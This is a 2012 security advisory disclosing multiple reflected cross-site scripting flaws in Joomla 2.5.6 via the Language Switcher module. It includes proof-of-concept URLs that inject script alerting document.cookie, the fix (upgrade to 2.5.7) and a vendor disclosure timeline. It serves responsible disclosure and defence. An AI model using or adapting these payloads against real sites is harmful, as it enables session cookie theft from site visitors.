Advisory: Joomla 2.5.6 Multiple Cross-site scripting vulnerabilities
Advisory ID: SSCHADV2012-014
Author: Stefan Schurtz
Affected Software: Successfully tested on Joomla 2.5.6
Vendor URL: http://www.joomla.org/
Vendor Status: fixed

==========================
Vulnerability Description
==========================

With activated "Module Language Switcher . position-4" (Extensions -> Modules -> Module Manager: Module Language Switcher), multiple XSS are possible.

==================
PoC-Exploit
==================

// with default sample content

http://[target]/joomla/index.php/image-gallery/"><script>alert(document.
cookie)</script>/25-koala
http://[target]/joomla/index.php/image-gallery/"><script>alert('xss')</s
cript>/25-koala

http://[target]/joomla/index.php/image-gallery/animals/25-"><script>aler
t(document.cookie)</script>
http://[target]/joomla/index.php/image-gallery/animals/25-"><script>aler
t('xss')</script>

=========
Solution
=========

Upgrade to version 2.5.7

====================
Disclosure Timeline
====================

28-Jun-2012 - vendor informed (security (at) joomla (dot) org [email concealed])
05-Jul-2012 - vendor informed again (security (at) joomla (dot) org [email concealed])
13-Sep-2012 - fixed by vendor

========
Credits
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References
===========

http://developer.joomla.org/security/news/540-20120902-core-xss-vulnerab
ility
http://www.darksecurity.de/advisories/2012/SSCHADV2012-014.txt

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